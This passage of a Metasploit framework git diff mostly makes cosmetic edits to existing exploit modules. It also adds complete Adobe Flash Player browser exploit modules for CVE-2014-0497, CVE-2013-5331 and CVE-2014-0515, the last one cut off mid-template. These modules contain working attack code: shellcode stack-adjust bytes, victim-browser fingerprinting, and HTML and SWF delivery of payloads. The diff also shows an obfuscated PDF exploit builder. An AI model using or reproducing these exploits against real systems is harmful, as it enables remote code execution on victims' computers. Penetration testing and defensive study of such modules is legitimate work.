Multiple Commands Buffer Overflow', + 'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Multiple Commands Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands, diff --git a/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb b/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb index 5fdf8e7adb..a54686a117 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow', + 'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could diff --git a/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb b/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb index 4a0dae440c..bbbd6376ee 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer (rxsSetDataGrowthScheduleAndFilter) Buffer Overflow', + 'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer rxsSetDataGrowthScheduleAndFilter Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup for Laptops & Desktops 11.1. By sending a specially crafted request (rxsSetDataGrowthScheduleAndFilter), diff --git a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb index 0fe297e944..e12c6efa64 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow', + 'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup for Laptops & Desktops 11.1. By sending a specially crafted request (rxsUseLicenseIni), an diff --git a/modules/exploits/windows/brightstor/license_gcr.rb b/modules/exploits/windows/brightstor/license_gcr.rb index 79cd0ef54d..53b03d3d27 100644 --- a/modules/exploits/windows/brightstor/license_gcr.rb +++ b/modules/exploits/windows/brightstor/license_gcr.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb b/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb index fdfcdb429f..6ea0c62537 100644 --- a/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb +++ b/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/message_engine.rb b/modules/exploits/windows/brightstor/message_engine.rb index dc0bd7b7b9..af04cc4bf8 100644 --- a/modules/exploits/windows/brightstor/message_engine.rb +++ b/modules/exploits/windows/brightstor/message_engine.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/message_engine_72.rb b/modules/exploits/windows/brightstor/message_engine_72.rb index fc191be197..f4ca613159 100644 --- a/modules/exploits/windows/brightstor/message_engine_72.rb +++ b/modules/exploits/windows/brightstor/message_engine_72.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/message_engine_heap.rb b/modules/exploits/windows/brightstor/message_engine_heap.rb index 474811ddcb..5ba4ca46fb 100644 --- a/modules/exploits/windows/brightstor/message_engine_heap.rb +++ b/modules/exploits/windows/brightstor/message_engine_heap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/sql_agent.rb b/modules/exploits/windows/brightstor/sql_agent.rb index 88cf2cf919..2785745edc 100644 --- a/modules/exploits/windows/brightstor/sql_agent.rb +++ b/modules/exploits/windows/brightstor/sql_agent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/tape_engine.rb b/modules/exploits/windows/brightstor/tape_engine.rb index a5618f3be8..40e00171fa 100644 --- a/modules/exploits/windows/brightstor/tape_engine.rb +++ b/modules/exploits/windows/brightstor/tape_engine.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/tape_engine_0x8a.rb b/modules/exploits/windows/brightstor/tape_engine_0x8a.rb index 752aac0ccb..6e55ba95b3 100644 --- a/modules/exploits/windows/brightstor/tape_engine_0x8a.rb +++ b/modules/exploits/windows/brightstor/tape_engine_0x8a.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/universal_agent.rb b/modules/exploits/windows/brightstor/universal_agent.rb index b8ed18d60d..770d7c8fa9 100644 --- a/modules/exploits/windows/brightstor/universal_agent.rb +++ b/modules/exploits/windows/brightstor/universal_agent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb index b1c6148c8a..2f18a7668a 100644 --- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -343,7 +343,7 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; js end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -351,17 +351,17 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; result end - def ioDef(id) + def io_def(id) "%d 0 obj \n" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) #return str result = "" str.scan(/./u) do |c| @@ -375,7 +375,7 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -396,73 +396,73 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; # Randomize PDF version? pdf = "%PDF-1.5" << eol - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol # catalog xref << pdf.length - pdf << ioDef(1) << nObfu("<<") << eol - pdf << nObfu("/Pages ") << ioRef(2) << eol - pdf << nObfu("/Type /Catalog") << eol - pdf << nObfu("/OpenAction ") << ioRef(11) << eol + pdf << io_def(1) << n_obfu("<<") << eol + pdf << n_obfu("/Pages ") << io_ref(2) << eol + pdf << n_obfu("/Type /Catalog") << eol + pdf << n_obfu("/OpenAction ") << io_ref(11) << eol # The AcroForm is required to get icucnv36.dll to load - pdf << nObfu("/AcroForm ") << ioRef(13) << eol - pdf << nObfu(">>") << eol + pdf << n_obfu("/AcroForm ") << io_ref(13) << eol + pdf << n_obfu(">>") << eol pdf << endobj # pages array xref << pdf.length - pdf << ioDef(2) << nObfu("<<") << eol - pdf << nObfu("/MediaBox ") << ioRef(3) << eol - pdf << nObfu("/Resources ") << ioRef(4) << eol - pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol - pdf << nObfu("/Count 1") << eol - pdf << nObfu("/Type /Pages") << eol - pdf << nObfu(">>") << eol + pdf << io_def(2) << n_obfu("<<") << eol + pdf << n_obfu("/MediaBox ") << io_ref(3) << eol + pdf << n_obfu("/Resources ") << io_ref(4) << eol + pdf << n_obfu("/Kids [") << io_ref(5) << "]" << eol + pdf << n_obfu("/Count 1") << eol + pdf << n_obfu("/Type /Pages") << eol + pdf << n_obfu(">>") << eol pdf << endobj # media box xref << pdf.length - pdf << ioDef(3) + pdf << io_def(3) pdf << "[0 0 595 842]" << eol pdf << endobj # resources xref << pdf.length - pdf << ioDef(4) - pdf << nObfu("<<") << eol - pdf << nObfu("/Font ") << ioRef(6) << eol + pdf << io_def(4) + pdf << n_obfu("<<") << eol + pdf << n_obfu("/Font ") << io_ref(6) << eol pdf << ">>" << eol pdf << endobj # page 1 xref << pdf.length - pdf << ioDef(5) << nObfu("<<") << eol - pdf << nObfu("/Parent ") << ioRef(2) << eol - pdf << nObfu("/MediaBox ") << ioRef(3) << eol - pdf << nObfu("/Resources ") << ioRef(4) << eol - pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol - pdf << nObfu("/Type /Page") << eol - pdf << nObfu(">>") << eol # end obj dict + pdf << io_def(5) << n_obfu("<<") << eol + pdf << n_obfu("/Parent ") << io_ref(2) << eol + pdf << n_obfu("/MediaBox ") << io_ref(3) << eol + pdf << n_obfu("/Resources ") << io_ref(4) << eol + pdf << n_obfu("/Contents [") << io_ref(8) << n_obfu("]") << eol + pdf << n_obfu("/Type /Page") << eol + pdf << n_obfu(">>") << eol # end obj dict pdf << endobj # font xref << pdf.length - pdf << ioDef(6) << nObfu("<<") << eol - pdf << nObfu("/F1 ") << ioRef(7) << eol + pdf << io_def(6) << n_obfu("<<") << eol + pdf << n_obfu("/F1 ") << io_ref(7) << eol pdf << ">>" << eol pdf << endobj # ttf object xref << pdf.length - pdf << ioDef(7) << nObfu("<<") << eol - pdf << nObfu("/Type /Font") << eol - pdf << nObfu("/Subtype /TrueType") << eol - pdf << nObfu("/Name /F1") << eol - pdf << nObfu("/BaseFont /Cinema") << eol - pdf << nObfu("/Widths []") << eol - pdf << nObfu("/FontDescriptor ") << ioRef(9) - pdf << nObfu("/Encoding /MacRomanEncoding") - pdf << nObfu(">>") << eol + pdf << io_def(7) << n_obfu("<<") << eol + pdf << n_obfu("/Type /Font") << eol + pdf << n_obfu("/Subtype /TrueType") << eol + pdf << n_obfu("/Name /F1") << eol + pdf << n_obfu("/BaseFont /Cinema") << eol + pdf << n_obfu("/Widths []") << eol + pdf << n_obfu("/FontDescriptor ") << io_ref(9) + pdf << n_obfu("/Encoding /MacRomanEncoding") + pdf << n_obfu(">>") << eol pdf << endobj # page content @@ -477,8 +477,8 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; "ET" xref << pdf.length - pdf << ioDef(8) << "<<" << eol - pdf << nObfu("/Length %s" % content.length) << eol + pdf << io_def(8) << "<<" << eol + pdf << n_obfu("/Length %s" % content.length) << eol pdf << ">>" << eol pdf << "stream" << eol pdf << content << eol @@ -487,18 +487,18 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; # font descriptor xref << pdf.length - pdf << ioDef(9) << nObfu("<<") - pdf << nObfu("/Type/FontDescriptor/FontName/Cinema") - pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17)) - pdf << nObfu("/FontBBox [-177 -269 1123 866]") - pdf << nObfu("/FontFile2 ") << ioRef(10) - pdf << nObfu(">>") << eol + pdf << io_def(9) << n_obfu("<<") + pdf << n_obfu("/Type/FontDescriptor/FontName/Cinema") + pdf << n_obfu("/Flags %d" % (2**2 + 2**6 + 2**17)) + pdf << n_obfu("/FontBBox [-177 -269 1123 866]") + pdf << n_obfu("/FontFile2 ") << io_ref(10) + pdf << n_obfu(">>") << eol pdf << endobj # ttf stream xref << pdf.length compressed = Zlib::Deflate.deflate(ttf) - pdf << ioDef(10) << nObfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol + pdf << io_def(10) << n_obfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -506,15 +506,15 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; # js action xref << pdf.length - pdf << ioDef(11) << nObfu("<<") - pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12) - pdf << nObfu(">>") << eol + pdf << io_def(11) << n_obfu("<<") + pdf << n_obfu("/Type/Action/S/JavaScript/JS ") + io_ref(12) + pdf << n_obfu(">>") << eol pdf << endobj # js stream xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) - pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) + pdf << io_def(12) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -526,8 +526,8 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; # form object xref << pdf.length - pdf << ioDef(13) - pdf << nObfu("<</XFA ") << ioRef(14) << nObfu(">>") << eol + pdf << io_def(13) + pdf << n_obfu("<</XFA ") << io_ref(14) << n_obfu(">>") << eol pdf << endobj # form stream @@ -544,7 +544,7 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; EOF xref << pdf.length - pdf << ioDef(14) << nObfu("<</Length %s>>" % xfa.length) << eol + pdf << io_def(14) << n_obfu("<</Length %s>>" % xfa.length) << eol pdf << "stream" << eol pdf << xfa << eol pdf << "endstream" << eol @@ -565,7 +565,7 @@ EOF end pdf << "trailer" << eol - pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol diff --git a/modules/exploits/windows/browser/adobe_flash_avm2.rb b/modules/exploits/windows/browser/adobe_flash_avm2.rb new file mode 100644 index 0000000000..0a3dfc9fa5 --- /dev/null +++ b/modules/exploits/windows/browser/adobe_flash_avm2.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Adobe Flash Player Integer Underflow Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability found in the ActiveX component of Adobe Flash Player + before 12.0.0.43. By supplying a specially crafted swf file it is possible to trigger an + integer underflow in several avm2 instructions, which can be turned into remote code + execution under the context of the user, as exploited in the wild in February 2014. This + module has been tested successfully with Adobe Flash Player 11.7.700.202 on Windows XP + SP3, Windows 7 SP1 and Adobe Flash Player 11.3.372.94 on Windows 8 even when it includes + rop chains for several Flash 11 versions, as exploited in the wild. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # vulnerability discovery and exploit in the wild + 'juan vazquez' # msf module + ], + 'References' => + [ + [ 'CVE', '2014-0497' ], + [ 'OSVDB', '102849' ], + [ 'BID', '65327' ], + [ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-04.html' ], + [ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2014/02/17/a-journey-to-cve-2014-0497-exploit.aspx' ], + [ 'URL', 'http://blog.vulnhunt.com/index.php/2014/02/20/cve-2014-0497_analysis/' ] + ], + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f', + 'Retries' => false + }, + 'Platform' => 'win', + # Versions targeted in the wild: + # [*] Windows 8: + # 11,3,372,94, 11,3,375,10, 11,3,376,12, 11,3,377,15, 11,3,378,5, 11,3,379,14 + # 11,6,602,167, 11,6,602,171 ,11,6,602,180 + # 11,7,700,169, 11,7,700,202, 11,7,700,224 + # [*] Before windows 8: + # 11,0,1,152, + # 11,1,102,55, 11,1,102,62, 11,1,102,63 + # 11,2,202,228, 11,2,202,233, 11,2,202,235 + # 11,3,300,257, 11,3,300,273 + # 11,4,402,278 + # 11,5,502,110, 11,5,502,135, 11,5,502,146, 11,5,502,149 + # 11,6,602,168, 11,6,602,171, 11,6,602,180 + # 11,7,700,169, 11,7,700,202 + # 11,8,800,97, 11,8,800,50 + 'BrowserRequirements' => + { + :source => /script|headers/i, + :clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", + :method => "LoadMovie", + :os_name => OperatingSystems::Match::WINDOWS, + :ua_name => Msf::HttpClients::IE, + :flash => lambda { |ver| ver =~ /^11\./ } + }, + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 5 2014", + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status("Sending SWF...") + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) + return + end + + print_status("Sending HTML...") + tag = retrieve_tag(cli, request) + profile = get_profile(tag) + profile[:tried] = false unless profile.nil? # to allow request the swf + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + shellcode = get_payload(cli, target_info).unpack("H*")[0] + + html_template = %Q|<html> + <body> + <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> + <param name="movie" value="<%=swf_random%>" /> + <param name="allowScriptAccess" value="always" /> + <param name="FlashVars" value="id=<%=shellcode%>" /> + <param name="Play" value="true" /> + </object> + </body> + </html> + | + + return html_template, binding() + end + + def create_swf + path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0497", "Vickers.swf" ) + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + +end diff --git a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb new file mode 100644 index 0000000000..f17bd00082 --- /dev/null +++ b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb @@ -0,0 +1,130 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Adobe Flash Player Type Confusion Remote Code Execution", + 'Description' => %q{ + This module exploits a type confusion vulnerability found in the ActiveX + component of Adobe Flash Player. This vulnerability was found exploited + in the wild in November 2013. This module has been tested successfully + on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170 + over Windows XP SP3 and Windows 7 SP1. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery and exploit in the wild + 'bannedit', # Exploit in the wild discoverer, analysis and reporting + 'juan vazquez' # msf module + ], + 'References' => + [ + [ 'CVE', '2013-5331' ], + [ 'OSVDB', '100774'], + [ 'BID', '64199'], + [ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb13-28.html' ], + [ 'URL', 'http://blog.malwaretracker.com/2014/01/cve-2013-5331-evaded-av-by-using.html' ] + ], + 'Payload' => + { + 'Space' => 2000, + 'DisableNops' => true, + 'PrependEncoder' => stack_adjust + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f', + 'Retries' => false, + 'EXITFUNC' => "thread" + }, + 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script|headers/i, + :clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", + :method => "LoadMovie", + :os_name => OperatingSystems::Match::WINDOWS, + :ua_name => Msf::HttpClients::IE, + :flash => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' } + }, + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Dec 10 2013", + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + super + end + + def stack_adjust + adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb + adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit + adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit + adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset + + adjust + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status("Sending SWF...") + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) + return + end + + print_status("Sending HTML...") + tag = retrieve_tag(cli, request) + profile = get_profile(tag) + profile[:tried] = false unless profile.nil? # to allow request the swf + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + flash_payload = "" + get_payload(cli,target_info).unpack("V*").each do |i| + flash_payload << "0x#{i.to_s(16)}," + end + flash_payload.gsub!(/,$/, "") + + + html_template = %Q|<html> + <body> + <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> + <param name="movie" value="<%=swf_random%>" /> + <param name="allowScriptAccess" value="always" /> + <param name="FlashVars" value="sh=<%=flash_payload%>" /> + <param name="Play" value="true" /> + </object> + </body> + </html> + | + + return html_template, binding() + end + + def create_swf + path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-5331", "Exploit.swf" ) + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + +end diff --git a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb index f9273b9133..692e2be2fa 100644 --- a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb +++ b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ - :os_name => OperatingSystems::WINDOWS, + :os_name => OperatingSystems::Match::WINDOWS, :method => "GetVariable", :classid => "ShockwaveFlash.ShockwaveFlash", :rank => NormalRanking, # reliable memory corruption diff --git a/modules/exploits/windows/browser/adobe_flash_otf_font.rb b/modules/exploits/windows/browser/adobe_flash_otf_font.rb index 6dd812a159..07db952f60 100644 --- a/modules/exploits/windows/browser/adobe_flash_otf_font.rb +++ b/modules/exploits/windows/browser/adobe_flash_otf_font.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb b/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb new file mode 100644 index 0000000000..4e54893877 --- /dev/null +++ b/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb @@ -0,0 +1,129 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Adobe Flash Player Shader Buffer Overflow", + 'Description' => %q{ + This module exploits a buffer overflow vulnerability in Adobe Flash Player. The + vulnerability occurs in the flash.Display.Shader class, when setting specially + crafted data as its bytecode, as exploited in the wild in April 2014. This module + has been tested successfully on IE 6 to IE 11 with Flash 11, Flash 12 and Flash 13 + over Windows XP SP3, Windows 7 SP1 and Windows 8. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery and exploit in the wild + 'juan vazquez' # msf module + ], + 'References' => + [ + ['CVE', '2014-0515'], + ['BID', '67092'], + ['URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-13.html'], + ['URL', 'http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/' ] + ], + 'Payload' => + { + 'Space' => 2000, + 'DisableNops' => true, + 'PrependEncoder' => stack_adjust + }, + 'DefaultOptions' => + { + # Disabled by default to allow sessions on Firefox, still useful when exploiting IE + #'InitialAutoRunScript' => 'migrate -f', + 'Retries' => false, + 'EXITFUNC' => "thread" + }, + 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script|headers/i, + :os_name => OperatingSystems::Match::WINDOWS, + :ua_name => lambda { |ua| ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF || ua == Msf::HttpClients::SAFARI}, + :flash => lambda { |ver| ver =~ /^11\./ || ver =~ /^12\./ || (ver =~ /^13\./ && ver <= '13.0.0.182') } + }, + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Apr 28 2014", + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + super + end + + def stack_adjust + adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb + adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit + adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit + adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset + + adjust + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status("Sending SWF...") + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + print_status("Sending HTML...") + tag = retrieve_tag(cli, request) + profile = get_profile(tag) + profile[:tried] = false unless profile.nil? # to allow request the swf + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + flash_payload = "" + get_payload(cli,target_info).unpack("V*").each do |i| + flash_payload << "0x#{i.to_s(16)}," + end + flash_payload.gsub!(/,$/, "") + + + html_template = %Q|<html> + <body> + <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> + <param name="movie" value="<%=swf_random%>" /> + <param name="allowScriptAccess" value="always" /> + <param name="FlashVars" value="sh=<%=flash_payload%>" /> + <param name="Play" value="true" /> + <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=flash_payload%>" Play="true"/> + 